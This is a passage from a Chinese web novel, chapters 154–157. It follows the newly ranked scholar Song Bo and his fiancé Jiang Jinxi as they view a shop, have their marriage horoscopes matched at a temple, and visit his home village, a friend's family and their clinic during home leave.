第一百五十四章回趟村子。 宋泊将房契小心收好,王房牙便领着他们去看商铺。 那商铺在东南区,离牙行有些距离,离宋家也需要两刻钟马车时间。 王房牙拿着钥匙把商铺的大门打开来,这商铺内还挺干净的,像是刚开始租贷。 “贷主家做的餐馆生意,后经营不善倒了,家中欠了不少银两,这才把商铺贷出来。” 商铺很贵,最便宜的商铺也得千两起步,江金熙没那么多银钱,也想先贷些时日看看情况再决定要不要将商铺买下来,故而他选的是那种可贷可买的商铺。 “难怪这商铺中那么多食桌。”宋泊随意挑了个桌子一抹,指尖灰尘浅浅,不脏。 “这些木桌能自行处理吗?”江金熙问,一楼大厅内少说有三十套木桌,开个医馆不需要那么多木桌,占位还无用。 “我得问问。”王房牙将江金熙的问题记了下来,“您看看还有什么问题,我一块儿去问。” 医馆和餐馆不同,铺子内肯定要改换不少东西,除此以外还有格局改变的事情,他需要用木板将商铺一格一格分开,这事儿也得问问贷主的意见。 大抵便是这些问题,王房牙自己列得清楚,宋泊探头去看了眼,却是一字不识,王房牙应是有自己的一套记事方法。 看完商铺时间还早,宋泊和江金熙便去了趟家具店,一来宋泊要买些江金熙也喜欢的家具放在家中,提前布置婚房,二来也可以顺便瞧瞧医馆要的定制家具需要多少银两。 “我想着买个梳妆台,到时候你好起床梳头。”宋泊道:“再买个挂衣架子,等冬了你能挂斗篷。” “怎么听来都是我的物什?”江金熙微靠着宋泊,衣襟宽大,两人相牵的手也不会被人瞧着。 “哪儿都是你的物什,买了以后我也能蹭着用用呀。”宋泊笑道。 江金熙扭捏了一会儿,还是决定问出口,“现下你已经得了状元,我们、什么时候成亲?” “早晨我去问过曾媒人,下步我们得去官寺慈鸣寺求里头的大师帮我们算生辰八字。”宋泊道。 寻常百姓随便找个寺庙就行,但他现在已有官身,江金熙也是官家哥儿,两人都与官家有关,便不能随便了事,得去慈鸣寺求里头大师算他们的生辰八字是否相合。 “我想着下回休沐我们就去,如何?”宋泊说。 慈鸣寺白日开门,申时末关寺,等宋泊从天少阁下工回来,寺庙也差不多要关门了,实在着急。 “我回去问下爹爹和娘亲,应是可以。”江金熙道,他的成亲大事,爹爹和娘亲定会腾出时间来。 五月二日早晨,宋泊和江金熙带上自己的家长分别出发,辰时末抵达慈鸣寺寺前。 宋泊的马车先到,他将宋茶栽从车厢里牵下时,江家的马车也来了,宋泊立即跑到江家马车边,将江家三人领下马车。 慈鸣寺由皇家出资建成,规模比起其他寺庙只大不小,寺庙内树木众多,不少僧人正扫着里头落叶,有僧人瞧着宋泊一行人来了,便提着手中扫帚,问他们前来何事。 得知他们来是要问名,僧人将扫帚放于树下,引着他们去找方丈。 问名这种事关人婚姻的事儿,一般僧人算不来,只有寺内的方丈能有这般本事。 明达方丈刚好结束给小僧人讲经,他带着宋泊他们到了休息室内,让大伙儿坐下。 “可将两位施主的生辰八字拿来了?”明达方丈问。 “在这儿。”两边媒人出声,生辰八字都在她们手中。 曾媒人和何媒人一道把宋泊和江金熙的生辰八字拿给明达方丈。 明达方丈将两张纸小心放在桌上,用小石子压着,接着他口中念念有词,双手手势快速变换。 宋泊和江金熙都很紧张,就怕明达方丈算出个不合适的结果。 约莫一炷香的时间,明达方丈睁开眼来,“两位施主命格相合,此桩婚事为大吉。” 听到明达方丈这么说,宋泊和江金熙都松了口气,他们的婚事是大吉,没有什么话比这句话更令人高兴了。 两方家长听着这话也是高兴,江夫人和宋茶栽唠了起来,直说俩孩子是天作之合。 江丞相对这个结果也是满意,这几日他听着不少风声,宋泊可是个香饽饽,现在这个香饽饽能配上他们家金熙,皆大欢喜。 曾媒人又顺嘴问了句适合成婚的吉日,明达方丈浅算一番,吉日都集中在下半年,约是一月一个吉日。 如此宋泊和江金熙的婚事应该今年就能完成。 五月三日下工时,天少卿唤宋泊去找他一趟。 宋泊先行一礼,随后道:“陈卿,您找我。” 天少卿让宋泊坐下,“我记着你是南方人?” “是的。”宋泊应声。 “新晋官员都有省亲假,假期一月至一月半不等,你可回南方一趟的。”天少卿道。 宋泊上工十日,每日工作勤恳,其他家不在京城的新晋官员都回家省亲,只有宋泊日复一日准时出现在明净轩,天少卿觉着他不知道省亲假这事儿,才在休沐后唤他来。 宋泊确实不知道省亲假这事儿,现如今得了这个消息,他倒有几分想回一趟近里村。 “多谢陈卿提醒,且我回去考虑一番。”宋泊道。 “最好尽快。”天少卿再说:“下半年我们会忙些,到时想请假可就难了。” 下半年庆典众多,大事要编纂进书里,所以天少阁下半年会忙碌起来。 “是。”宋泊道。 宋泊一回家便钻入厨房内与宋茶栽商量起来。 宋茶栽陪他到京城,一陪就陪了六月,留姑父一人在家许久,宋泊也有些过意不去。 今年下半年他应当会与江金熙成婚,成婚之事,刘南民当然也得在,正好可以趁着这个省亲假的机会回去将刘南民接来,顺路路过霞县时再看一眼百安馆,接上简言,这可是一箭双雕的事。 “那金熙呢?可与我们一道儿走?”宋茶栽一边择豆,一边问道。 路砚知在五月头便启程回了霞县,说是要快点儿回县学学习,好下次会试考上,所以宋家现在只住了宋茶栽。 “我先问过你,再去寻他。”宋泊说,下工后的时间有限,他也不能这边问完立即冲去丞相府问江金熙,时候不早冲过去可是没礼貌。 前头江金熙要贷商铺的事出了些意外,王房牙上门问过贷主后,贷主又不想贷商铺只想卖了,如此与江金熙先前预期不同,开医馆的事儿被迫往后挪了挪。 江金熙开医馆的事儿延后了,腾出一些时间来,许会与他们一块儿回一趟近里村。 宋茶栽当然想回去,回去一趟将家中物什收拾收拾,藏着的给宋泊娶夫郞的钱也能从院子树下挖出来了。 宋泊听了宋茶栽的话,翌日去寻了江金熙。 江金熙直接答应了宋泊,只是他要在霞县多待一会儿,回百安馆与吴师叔取经,不会一直陪着宋泊。 宋泊倒是无所谓这事,家里事情不多,就算江金熙与他一块儿去了,他也舍不得让江金熙动手干活。 这般商量着,五月七日,宋泊休沐当日,阿朝载着三人前往南边,阿丁也驾了马车跟在后头,往后少不了京城与传福镇之间的来回,不能次次请阿朝驾车,阿丁也得熟悉上这路才是。 阿朝行这路已经行出了经验,五月天气又合适,花了十三日便抵达了传福镇。 瞧着有马车来,边儿扛着锄头准备去田里农作的村民还有些好奇,是哪户大家来了。 村口离宋里正家近,宋泊和江金熙便先下了车,去宋里正家打声招呼,宋茶栽则由阿朝载着先回家中。 “宋郎君!”宋里正一听宋泊回来了,赶忙从家中出来相迎,头件事便是与宋泊行礼。 现如今宋泊官位从六品比他还高,见了面当然是他与宋泊行礼。 “里正客气。”宋泊两步上前扶着宋里正的手臂将他扶了起来。 “宋郎君此次回来可是省亲?”宋里正问。 “还是里正了得。”宋泊笑着说:“省亲假一月半,我便想着回来看一趟。” “正好,你等我会儿!”宋里正落下这话便回了正房,在来时手里多了一包东西,“这是你得状元的贺礼。” 自宋泊得了状元,他们这村儿也算是入了圣上的眼,圣上派人送了些银钱下来,一方面赏给宋里正,一方面为村子改造提供了银两。 状元老家闭塞贫穷,这说出去怎的了得。 宋里正便将那赏钱腾了些出来,给宋泊当贺礼,跟京城官府的贺礼相比,宋里正送的这些肯定不够看,不过礼轻情意重,贺礼轻食一回事,不送又是另一回事了。 “哪儿使得,里正你拿着建村就是。”宋泊推手拒了宋里正。 “建村的前我已留了,这就是贺礼钱。”宋里正又推了回来。 两人你推我拒来回多次,江金熙瞧不过眼,把宋里正给的贺礼拿在手中,他先把贺礼放在宋泊手里,“宋泊这就收了里正你的钱。”而后又把那贺礼拿来递给宋里正,“这钱他打算建村用,便交与里正你。” “这不是解决了?既收了贺礼又为建村出了一份力。”江金熙道。 宋泊一脸愣地看江金熙这套动作,等他一套动作下来,他才知道江金熙的用意,他顺着江金熙的话往下说,“对,就是这样,那是我为建村出的钱。” 宋里正双手拿着那袋贺礼,最终应下了宋泊的话,“那好,我便用这笔钱做个路标,下头标宋郎君你的名字。” “可不得,标我名字我多害羞呐。”宋泊拒了这提议,每个路标下写着他的名,这看来可是吓人,“里正你做正常路标就是。” “行,那我就依你所言了。” 第155章 第一百五十五章你是不是在那个时候就…… 杨绘从一户村民家出来正路过宋茶栽家,瞧着院子大门敞开,边儿还停了两辆可是豪华的马车,便想着是不是宋茶栽回来了,往院子里一进,听着宋茶栽的声儿,她才忙往里走,边走边喊道:“栽儿啊,你可算回来了。” 听到杨绘的声音,宋茶栽一歪头露个脑袋,瞧着真是她,她道:“怎了?我才去了半年你就想我了?” “可不是?”杨绘道:“你不在我都不知道找谁嗑瓜子唠嗑了。” “可得了吧,我在也没见你常来找我嗑瓜子呐。”宋茶栽笑着把杨绘揽进正厅。 进了屋内,杨绘嘚不嘚说得起劲,先头宋泊是什么模样她作为里正夫人可是一清二楚,谁能想着这人忽的大转变,竟能为村里赚得荣誉。 “快说说,京城可好玩?”杨绘好奇道,她和宋里正只在授官时去过一趟京城,现下过了几十年,京城是什么模样她已经有些记不清了。 宋茶栽给杨绘倒了茶,慢慢与她说来。 宋泊从宋里正家出来,与江金熙一块儿决定两人散步回去,村中空气正好,四周传来泥土与植株混合的香气,他们好久未在乡间小道散步了,现下走来脚踩着柔软土地,难得的放松时刻。 江金熙看着路边的一草一木,忍不住感叹道:“好久没回来,原来我对这个村儿还挺想念的。” “当时你不是还被大黑耗子吓得不行。”宋泊牵着江金熙的手,两人回想往事。 江金熙也想起那老鼠的模样,忍不住打了个颤,南方的老鼠可比北方大不止一星半点,跑在路上远了看不清还会以为是个别的小动物。 他揽住宋泊的胳膊,说:“还好我自己走的时候没怎么看见老鼠。” 是没怎么看见,都被他踢走了。 宋泊这般想着,却没将实情说出来。 “哟,这不是宋状元吗,可回来了?”宋媒人右手上挎一个红篮子,左手拎着个红色帕子,瞧着像是有喜事的样子,她见着宋泊可是高兴,还出声打招呼,一看宋泊旁边还有个漂亮哥儿,她双眼更弯,“这位便是宋状元的未婚夫郞吧。” 江金熙不认识宋媒人,宋媒人这么热络与宋泊打招呼,应是宋泊认识的人,他先冲宋媒人微笑地点了下头,然后撤了一把宋泊的衣袖,小声问,“这位是?” “她是宋媒人,先前我问过她成亲的事儿。”宋泊以同样小的声量回给江金熙。 “*宋媒人。”得了来者身份,江金熙甜甜地唤了一声。 “诶!”宋媒人欢声应声。 “你这是要去哪儿?”宋泊问道。 “前头村儿有两户人家结亲,我这正要过去帮人准备呢。”宋媒人不算太着急,还能停下来与宋泊他俩聊上几句,“瞧你带了美娇郎回来,定亲的事儿应是顺利?” “还好得了宋媒人提点一些,才不至于出岔子。”宋泊道。 这话哄得人心花怒放,宋泊得了官位并未如他人一般高高在上,反而还如往常一般谦逊,可是得人喜爱。 宋媒人喜笑颜开,连连摆手:“哪儿的话,我不过说了几句而已。”她从喜篮里连抓几把红枣、桂圆、花生出来,捧着交与江金熙手中,“来沾沾喜气,祝你和你未婚夫君百年好合。” 江金熙头回被并不是很熟悉的长辈塞东西,神色之间满是慌乱,他双手捧起,宋媒人把桂圆、花生放入他手中,“回去可记得吃呐,多生些可爱孩子出来。” 听宋媒人这么说,江金熙的脸蹭的一下变得通红,以往八面玲珑的他,这时却一句话也说不出来。 “还未成婚呢!”宋泊道。 “没几天的事儿了。”宋媒人见江金熙羞得慌,便没再逗他,说自个儿得快些过去,跟宋泊和江金熙别了后就抬腿走了。 “我帮你拿着吧?”宋泊见江金熙像是被坚果封印了一般,两手捧着满满当当的红枣、桂圆和花生,一动未动。 “没事,我捧着就好。”江金熙双手捧着轻颠了两下,东西都颠到掌心之中,倒也不算难拿。 既然江金熙想拿着,那宋泊也没强抢,就这么由着他托着回了宋茶栽家。 宋泊进了正厅,便瞧着杨绘也坐在厅内,他唤了声,“杨姨。” “杨姨。”这人江金熙认识,打招呼起来也熟悉些。 “好好好,江公子这回也回来了。”杨绘看着江金熙就欢喜,当时还觉着江金熙一朵鲜花插在牛粪上,现在才知两人是天造地设的一对。 “手上捧这么多什么东西?”宋茶栽从椅子上起来,帮着江金熙把手里的东西拢到桌上,“怎么都是红枣、桂圆和花生?” “他们应该是遇着宋媒人了。”杨绘道。 如今会带着齐全喜物出门的人,除了宋媒人以外,她想不到其他人选。 “杨姨可是厉害,我们确实是遇到了宋媒人。”宋泊道。 “想不想吃喜宴?等会儿我带你们去。”杨绘道,那两户人家办宴的时候在午时稍过,等会快午时她就得赶过去参宴。 “我们与家吃就好。”宋泊拒道。 他们刚回村里,没有收着人家喜宴邀请便盲目前去,没准会打乱人家的计划,使不得。 “是呐,在家吃就好。”宋茶栽也不支持他们与杨绘一道去,若是小孩子还好,多张嘴耗不了多少吃食,可宋泊和江金熙可是两个成年人,得再加两个位置才行。 “也成。”杨绘道。 午时前杨绘去赴宴,刘南民从田里回来,见着宋茶栽、宋泊和江金熙回来了,眼中惊喜。 “怎么不去田里喊我。”刘南民问。 “喊你做什么,还不如做了饭等你回来吃就是。”宋茶栽从外头端了饭菜进来,家里没剩什么菜,她便用有限的食材做了四菜一汤。 “还得阿栽在家才是。”刘南民感叹道。 宋茶栽不在家时,他每日从田里回来只是对付着应付一口,能吃着热乎饭都得是休息的时候,现下宋茶栽回来了,他终于重新有了家的感觉。 吃完饭,宋泊与刘南民说了要载他去京城的事儿,这倒是让刘南民有些苦恼。 如今种植草药正在重要时期,撂了田去京城可是会损失一大笔钱,刘南民问着他们什么时候办喜宴,没得着确切日子,他便想着八月再上京,到时大片草药成熟,卖了钱再上京去正合适。 宋泊和江金熙一合计,明达大师说下半年每月都有一天吉日,那往后挪挪,九月后再举办喜宴也成,毕竟办喜宴是最后一环,前头还有四个流程,少不了要花些时间。 商量了一个时辰,最终定下宋茶栽与宋泊和江金熙他们早些回去,刘南民等着八月头把草药都收了再上京。 入夜,宋泊和江金熙回了家,家里许久不住人,积了一层浅灰,之前有宋茶栽帮着打扫,宋茶栽上京后,刘南民忙着两家田的事,根本没有余力再来宋泊家里打扫。 江金熙拿着一块布擦到窗框,忽而想起往事,“就是这窗,当时还砸了你呢。” “可是给我砸够呛。”宋泊笑道,如今想起,这事儿还能当个玩笑话说过去。 “你是不是在那时就有些喜欢我了?”江金熙问。那时墙塌下来,他都来不及作反应,等再反应过来时,已经窝在宋泊怀中受了保护。 听江金熙这么问,宋泊也跟着细细想来,“或许真是那时就有些喜欢你了。” 江金熙听着这个回答,忍不住偷笑,“原来你那么早就喜欢我了。” “我家金熙人美又聪慧,谁能不喜欢呢。”宋泊回道。 将家中简单清理一番,夜也深了。 村中比城里安静不少,农户们早早歇下,外头静得只能听见时不时的风吹树声。 家中只有一张木床,江金熙也是时隔许久又能与宋泊躺于一张床上了。先前回了京城,头几日回家中睡觉时他还有些不习惯,身边少了个呼吸声,总觉着少了些什么。 宋泊家只有一个房间能睡人,阿朝和阿丁便暂住在宋茶栽家中,宋泊先把院子门锁好,而后把房内蜡烛熄了,再脱去外衫,才爬上床。 这床只是简单木头敲成,爬上去还嘎吱嘎吱响。 宋泊一上床便长手一伸,把手臂垫在江金熙的脑袋下,半环着他。 宋泊发出一声感叹,“真好,在京城怀中没你我都睡不着觉。” “你也会睡不着?”江金熙往宋泊怀中挪了一些,调笑道。 “你知道,由俭入奢易、由奢入俭难,我怀中香玉抱了那么久,早成习惯不好改了。”宋泊微微低头,与江金熙笑道。 “那这段时间你可得好好抱了,回京城还得再熬一段时间呢。”江金熙昂头,有点儿娇气着道。 宋泊“嗯”了一声,将江金熙紧紧揽入怀中,江金熙身上总有股淡淡的清香,只有离得近了才能闻着,有这香气相伴,宋泊没一会儿便呼吸渐沉,睡着了。 江金熙借着月光抬眸瞧了宋泊许久,等看着眼睛酸了,他才环住宋泊的后腰,靠在他的胸口处睡去。 第156章 第一百五十六章探望李五家。 宋泊和江金熙在近里村待了三日,五月二十三日晨,他们准备乘马车去趟传福镇到李五家看看,传福镇没有歇息的地方,所以选在晨时出发,下午瞧完李五一家再乘马车上霞县,晚时可居在百安馆。 临了出发,宋泊看着宋茶栽往马车上一直搬东西,忍不住出言问了句,“大姑,你带这么多东西是?” 东西都由布包着,宋泊也不知道宋茶栽搬上车的都是什么物什。 宋茶栽一边吭哧吭哧往车厢塞东西,一边与宋泊他们说:“你们尽管去镇里,我晚些时候让阿丁直接载着我去霞县等你们就是。”李五是宋泊的朋友,她跟着一道去也没什么意义,还不如在家仔细检查检查有没有漏带的东西。 宋泊应了声“行”,跟江金熙上了阿朝的马车,他们俩轻便出身,只带了两包衣裳,拎上就能走。 马车行在田间小道上,边儿有人唱着做工的号子,江金熙将车窗帘撩开一条缝,便见几个村民坐着简单的木筏飘在河中,岸上还有其他人帮忙递着石料,这处是这条河最窄的部分,村民们应当是要在这儿搭一座桥,方便村民行动。 “看来宋里正开始建村了。”宋泊坐在江金熙身侧,跟着一道往车窗外看去。 “下回我们再来村里,估计要大变样了。”江金熙道。 外头有看见宋泊的村民,他们纷纷抬手与宋泊打招呼,嘴里还喊着“宋状元好”,村民们不知道宋泊得了何种官职,但他们知道宋泊是他们村千百年来唯一一个状元,便用状元来称呼他。 宋泊挥手回复,嘱咐着:“可小心些,注意安全。” “诶!”村民应声。 江金熙将车窗帘固定在车窗边,转头调侃宋泊,“没想到你现在是近里村的名人了。” “是呐,我也没想着他们都认识我。”宋泊道,想当初他刚穿越过来时在村里可是人人喊打的存在,如今花了三年多时间,总算改变了村中人对他的看法,从过街老鼠变成香饽饽。 “这样也挺好。”江金熙将身子往后一靠,抵在宋泊的手臂上,“你名声大些,村民们对大姑也会尊敬一些,没人敢惹大姑。” 名声在古代可是好用,宋家出了个状元,大家与宋茶栽若是起冲突了,都得掂量掂量她身后宋泊的分量。 马车行了半个时辰,稳稳抵达传福镇,李五家那条街道小,只能允许人步行通过,阿朝出去寻个能拴马车的地方,宋泊和江金熙便进了街道,停在李五家门前。 宋泊敲响院门,这次来开门的是李五。 李五瞧着宋泊和江金熙站在门口,十分欢喜,他忙侧身,喊两人进屋。 “会书,你宋叔叔来了。”李五朝李会书的房间高声喊着。 听到李五的喊声,李会书将手中毛笔搁在笔架上,从房内跑出来,一把抱住宋泊喊道:“宋叔叔!” 久未见着李会书,李会书又长高不少,如今已经长到宋泊胸口处了。 李会书记着自家母亲说长大的孩子要稳重些,抱了宋泊一下便松了手,转头瞧着江金熙,他又高喊一声,“江哥哥!”双手高抬就要抱江金熙,但被宋泊拦住了,“诶,这是你宋叔叔的未婚夫郞,可不能抱。” 李会书这才想起江金熙是哥儿,与他不是一个性别,这才不好意思地放了手。 李会书的动作引得大家大笑,江金熙拍了一下宋泊,伸手轻抱了下李会书,“别理你宋叔叔,嘴贫。” 宋泊问李五,“今儿你休息呢?” “是呐,还好今日我休息,不然又得错过一回。”李五道。 上年十二月宋泊去京城时来了一趟,他还是下工回来听李会书说了才知道。 “无妨,你若是今日上工我也得找到你工作的地方去,高低让你瞧我一眼。”宋泊笑道。 李五领着宋泊和江金熙进了屋里,李会书帮着泡了茶。 “没想着你这次去京城带回这么大个好消息,会书以你为榜样每日苦读,学业可是进步迅速。”李五说。 宋泊考得状元的事儿从京城传回来,近里村、传福镇、霞县和银湖州都贴了公告,李五虽然未读过书,但识得一些简单的字还是没问题,传福镇贴公告那日他正巧上工路过,瞧着公告上写了宋泊的名儿他便停下来瞧了瞧,没想到宋泊得了状元,还是大/三元获得者。 李五一下工就把李会书从家里拎出来,让他看公告,李会书一字一字看着公告上的字,回家后便如打鸡血一般,以往每日学五个时辰,看完公告后自己主动延长,每日学六个时辰。 “他的朋友都喊不动他,只有你的名儿才能让他从卧房里出来。”李五道。 “宋叔叔得了状元,我却连县试都没过,说出去岂不是给宋叔叔丢脸了。”李会书说。 新一轮科举考试已经开始了,李会书上年参加了县试,却没有上榜被刷了下来,落榜一事对他可是个极大的打击。 “走,让我看看你的功课。”宋泊提道。 阿篮出去卖豆腐没那么早回来,李五又不会做饭,正好宋泊要看李会书的功课,趁这个时间李五便决定出去饭馆打包饭菜回来。 两位难得的客人来,哪儿能随便吃吃。 宋泊和江金熙瞧了李会书的功课,与最开始相比,李会书已经有了很大的进步,为了找出县试的错误,李会书凭着记忆将他写的卷子摹在一边,就等着什么时候遇上宋泊拿给他瞧。 “宋叔叔,这就是我上年写的卷子。”李会书拉开椅子让宋泊坐下,而后两手交合放在腹前,局促又紧张。 宋泊有过科举经验,知道恒国科举喜欢考什么内容,李会书的基础没什么问题,就是写得太过死板,像是从书中生搬硬套出来的,没有一点儿自己的思绪在里头。上回县试被刷,应该就是这个原因导致的。 宋泊以李会书最后一篇策论为例子,用毛笔在旁做了批注,边写着字他还边与李会书解释。 宋泊声音沉静,说话内容条理清晰,就连江金熙这个不考科举的人都听得入了迷,拿了把凳子在旁旁听。 经过宋泊的提点,李会书茅塞顿开,他终于知道自己错在哪儿,又要如何弥补。 “多谢宋叔叔,若不是您指出了我错误的地方,我觉着今年县试我还得碰壁。”李会书道。 县试三年考两次,前年空了一年,自昨年开始会连续考两年,今年县试再没过,就得等后年了。 在李会书埋头苦写,消化宋泊说的内容之时,阿朝找着地儿停好马车找了过来,他把宋泊交代他拿的礼物拿了过来。 宋泊从里头拿出文房四宝送给李会书,本来他想从官府送的文房四宝里面拿一套出来,但怕李会书刚开始读书便用了上好文具,往后纸、墨用完,再用不来普通纸、墨可就麻烦了。 “这是送我的吗?”李会书两眼冒星,视线随宋泊手的动作而移动。 “当然是给你的。”宋泊也没吊着李会书,直接便将文房四宝放在他的桌上,他选的这套是他以前科举时用过的,不算贵也不算便宜,算是中等文具。 “你宋叔叔为了挑这套文具,可是跑了很多地儿。”江金熙在一旁补充道。 在京城的时候,宋泊便已经为李五一家挑好了礼物,李五送便于行动的鞋,阿篮与她一匹好布,李会书的这套文房四宝可是他在京城掘地三尺才找着的,可费了好一阵功夫。 李会书对桌上的文房四宝爱不释手,他小心摸着砚台周边,光滑不割手,又双手捧起毛笔,笔杆笔直轻便,明眼一看这套文具便宜不了,李会书心中爱甚,却总觉着这套礼物太过昂贵,理智和情感在他的脑里打架,最终还是理智更胜一筹,他强压下喜爱的心,说:“宋叔叔,这套文具太贵了我不能收。” “如何收不得?”宋泊问。 李会书犹豫了会儿,在脑海里组织语言,将一条一条理由清晰地说给宋泊听。 送礼最怕送给不知感恩的人,李会书每句话都有理有据,倒是说到宋泊心坎儿里去了。 “我是你的老师吗?”宋泊问。 李会书听着这个问题连忙点头,生怕晚一秒宋泊就不认他这个学生了。 “那你便收下。”宋泊起身揉了把李会书的脑袋,这孩子就是懂事得让人心疼,“老师现在有赚钱的能力,这点儿文具的钱还花得了。” “实在太贵重了。”李会书拧着衣摆,扭捏道。虽然宋泊是他熟悉的人,但爹爹和娘亲说了,收礼可以,但不能收太贵重的礼物。 既然明着送不行,宋泊便拐了个弯道:“那你就当我借你的,等你往后成了官,还我一套就是。” 李会书还年轻,被宋泊一绕就绕了进去,借一套文房四宝好像可以,往后等他可以赚钱了再还一套给宋叔叔就是。 “那、那我会好好爱惜它们的。”李会书乖巧道。 怕李五和阿篮回来会因为李会书收了重礼而打孩子,在李五拎着饭盒回来时,宋泊便先与李五说了这事儿。 李五拿不出什么东西好礼还给宋泊,便想叫李会书将东西还给宋泊。 “我在码头头次寻工便遇着李兄相助,此大恩无以为报,只能送些寻常小物助会书科举之力,望李兄莫唤他还我。”宋泊晓之以理动之以情。 宋泊都说到这份上了,李五也不好再拒绝,“成,等那小子有出息了再还你就是。” 第157章 第一百五十七章回京。 前头送给李会书东西,李五便已经三推四阻,后头宋泊学聪明了,他悄摸着与江金熙一商量,他做掩护,由江金熙拿进厨房里藏起来,阿篮总会入厨房当中,东西会被发现却又不会被那么快发现。 李五将饭盒里的菜都摆在桌上,分碗筷时江金熙说身体不舒服,他便引着他去了厕房。没曾想江金熙这一去去了许久,李五有些担忧地看向宋泊,“江公子可是肚子不舒服,怎的这么久?” “我去瞧瞧。”宋泊道。 江金熙若是拉了肚子,其他人去瞧也不方便,李五便与宋泊说着如果有事喊他一声就行。 宋泊走出房外,见着李五没往他这侧儿看,他赶紧蹑手蹑脚猫进厨房,问江金熙藏得如何。 江金熙自信满满让他找,宋泊大致看了眼厨房内,确实找不着有纰漏的地方。 “你藏哪儿了?”宋泊好奇地问道,一对鞋、一匹布说大不大说小不小,要藏得天衣无缝也得费些功夫。 江金熙把宋泊往厨房里拉,厨房内有口放米的大缸,大缸边儿离墙正好有一丝空隙,把鞋子和布藏在这儿既不会脏锅,也不会很早暴露,是个好位子,“这儿有个缸,我藏缸后头了。” “厉害呀。”宋泊由衷佩服江金熙灵活的脑子,他离席还未一炷香时间便将东西藏得如此之好,若让他来,他还没那个自信能藏得过他。 回到厅内,众人吃着午饭,闲聊之余不知是谁提了句余县尉,李五便按着这话往下说了。 “你那个小叔在乡试作弊的事儿大伙儿都知道了。”李五将嘴里嚼着的肉吞下去后继续说:“余县尉觉着他丢面儿,让自己女儿休了他,现如今他因着作弊的名声,那些招文人的地儿都不要他,他就只能自己支了个小摊给不识字的人抄信。” 听到李五这么说,宋泊才意识到自己已经很久没想起宋申闻和宋芸香了,没想到宋申闻最后落着这么个下场,也是偷鸡不成蚀把米了。 在李五家吃完午饭,宋泊和江金熙待到申时初才离开李五家前往霞县。 从传福镇街道行过时,风吹起车窗帘子,宋泊碰巧瞧着宋申闻的摊子,说是摊子都有些美化了,其实就是一张木桌再配个凳子,连一把遮阳伞也没有,在太阳底下暴晒。 宋申闻比起之前黑了不少,面容也沧桑许多,之前的文人气质消散殆尽,如今的他只是个普通的小摊贩。 不过那也与他无关了,自分家契书两分之时,他们就已经不是一家人了。 回到霞县百安馆时天已经大黑,宋茶栽在医馆做好了饭等着他们。 第一个出来相迎的便是简言和常乐,常乐许久未见自家主人可是高兴,在两人腿边疯狂打转,要不是常乐的尾巴长在屁股上,宋泊还怕它跟带了竹蜻蜓一般飞空中去了。 “主君、郎君!”简言先与两人行了礼,随后乖巧地跟在两人身旁。先前主君和郎君从京城送来的信说了要带他一块儿回京城,他既开心又有些不敢相信,线下行为举止都是小心翼翼,就怕惹主君、郎君一个不高兴,就不带他去了。 自爹、娘离世以后,待他最好的人便是主君和郎君,他想跟在主君和郎君身边伺候着。 “这些日子医馆可忙?”江金熙问道。 “有忙的时候,也有清闲的时候。”简言对于江金熙的问题有问必答,“先前换季的时候好多人发热流涕,那时就忙得不行,连我也中招躺了几日。” “现下好全了?”江金熙道。 “早好啦!”简言为了表示自己身体好,还在两人面前跑了几步,“从那次以后,吴叔每日下工都会带我们绕街道跑一圈,我可是一点儿不怕生病了。” “那也好。”宋泊在一旁听着,插/嘴进一句,“多运动运动也好长个。” 今日因着宋泊和江金熙要来,百安馆便提早关了门,吴末和宋茶栽都在后院食厅里等着他俩。 还未走到门口就闻着一股饭菜香,走进门内,吴末正端着一叠碗在桌上摆放碗筷。 “吴师叔!”江金熙先出声唤道。 简言跑进食厅内,从吴末手里接过碗,顺着他的活儿往下做。 “江师侄,宋郎君。”吴末转身过来,瞧着两人笑。 “什么事让吴师叔这么高兴?”吴末确实喜欢笑,但如此明显的笑江金熙还是头一回见。 “宋郎君不是得了个状元吗?那些百姓们一知咱们百安馆时状元名下的医馆,看病都先寻我们这儿呢。”吴末道:“你回来得正是时候,我还想与你商量商量再请些大夫的事。”百安馆毕竟是宋泊和江金熙的产业,就算他是合伙人,也得与主家商量商量才能做决定。 江金熙两眼放大,忍不住问道:“都需要再请大夫了吗?”之前有吴末再加上另外两个请来的大夫便忙的够了,现下三人都忙不过来,想来是多了很多生意。 “具体情况等吃了饭我在与你说。”吴末道。 宋茶栽将最后一道菜端进食厅时,见大伙儿都站着没坐下,直言便说着,“说什么呢?先吃饭,饭吃了再谈事儿。” 宋茶栽即是宋泊的大姑,又是吴末的师姐,是这个厅内辈分最大的人,她说的话没一个人敢说不。 一顿晚饭吃完,宋泊和宋茶栽进厨房里洗碗筷,江金熙和吴末坐在食厅内商量事情。 之前江金熙与他说过要把百安馆交给吴末管的事儿,若吴末同意,往后霞县百安馆的分成五五分,五分给吴末,五分对半,一半给江金熙,一半为店内流转资金。 吴末的分成由三分变为五分可是巨大提升。 等宋泊洗好了碗筷回到食厅时,江金熙和吴末还未说完,生意上的事儿宋泊插不了嘴,只能去前院寻常乐玩。 说来宋泊是最少与常乐在一块儿的人,不过常乐却还识得他,对他的热情一点儿不比别人少。 “主君,咱们常乐可聪明哩!”简言坐在宋泊身侧两手撑着凳子,忙帮常乐邀功。 常乐端坐在宋泊面前,两眼明亮,嘴咧得开开的,耷拉个舌头喘气。 “又如何聪明了?”宋泊问。 之前在村里时刘南民就说他会驱赶坏人,现下久着未见,不知常乐又做了什么好事。 “我也是听吴叔说的。”简言挠了挠脑袋,先把前提说好。 听完简言的话,宋泊才明白原来是发生了树大招风的事儿。 百安馆横空出世,生意又一天比一天好,这般上升的趋势引来了嫉妒的同行,有人借着生病过来拿药,随后在家里偷偷掉包换成别的药,病情久久未好,反过来咬百安馆都是庸医。吴末报了官以后,偷换药品的证据是常乐闻出来的,那人将草药丢在自家后院挖坑埋了,是常乐刨了好一会儿才刨出来的,还了百安馆一个清白。 也因此常乐成了个团宠,每日都能有个大鸡腿儿吃。 “这么厉害呢?我们常乐。”宋泊两手揉着常乐脸上的肉,常乐也不知道宋泊说了什么,但它能听出主人现在很高兴,主人高兴它也高兴,它还把爪子搭在宋泊的膝盖上,想要他抱。 久了没抱常乐,常乐现下重达三十斤,抱在怀里肉顿顿的,可是舒服。 “这十日你可得寻着时间收拾收拾自己的东西,别到时候落了什么,还得麻烦吴师叔给你寄。”宋泊怀里抱着常乐,嘴上嘱咐简言,宋泊和江金熙不在家中,常乐便由简言养着,“对了,常乐的东西也记得带上。” 江金熙留了十日时间在霞县,之后他们就得回京城,不然可能会超过一个半月的省亲假。 “得令!我一定收得妥妥当当。”简言一个麻利从椅子上蹦下来,在宋泊面前作揖行礼。 六月二日,十日到了,江金熙和吴末商量得差不多,百安馆再招两位大夫进来,分成五五分。 